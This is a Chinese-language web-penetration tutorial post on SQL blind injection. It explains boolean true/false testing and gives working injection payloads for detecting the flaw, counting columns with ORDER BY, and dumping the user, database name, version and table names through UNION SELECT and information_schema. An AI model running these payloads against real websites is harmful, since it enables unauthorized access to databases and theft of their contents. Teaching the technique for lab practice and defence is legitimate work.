Web渗透_SQL盲注

SQL盲注


  • 不显示数据库内建的报错信息
    • 内建的报错信息帮助开发人员发现和修复问题
    • 报错信息提供关于系统的大量有用信息
  • 当程序员隐蔽了数据库内建报错信息,替换为通用的报错提示,sql注入将依据报错信息判断注入语句的执行结果,即盲注
  • 思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断


1' and 1=1--+(+代表空格)


1' and 1=2--+(+代表空格)


如果是真的话,会返回参数,如果是假的不会报错,逻辑语句被执行,证明有sql注入漏洞



1' order by 5--+(+代表空格)     #无返回参数,说明超过列1' order by 2--+(+代表空格)     #有返回参数,说明至少存在两个列



  • 掌握了这个规律之后,我们就可以按照之前的sql语句去执行了


查询用户,数据库,版本


1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+ (+代表空格)



查询原数据库中表名


1'and 1=0 union select null,table_name from information_schema.tables#



查询当前的表名


1'and 1=0 union select null,table_name from information_schema.columns where table_name='users'#



之前我们说过,如果我们无权读取information——schema库 / 拒绝union、order by语句时候,可以用猜测的方法;


  • 猜测列名:


1' and user is not null--+ (+代表空格)


其他不演示了,之前演示过了,用bp字典去跑就行了 ,不明白地看我之前的文章!

Web
发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章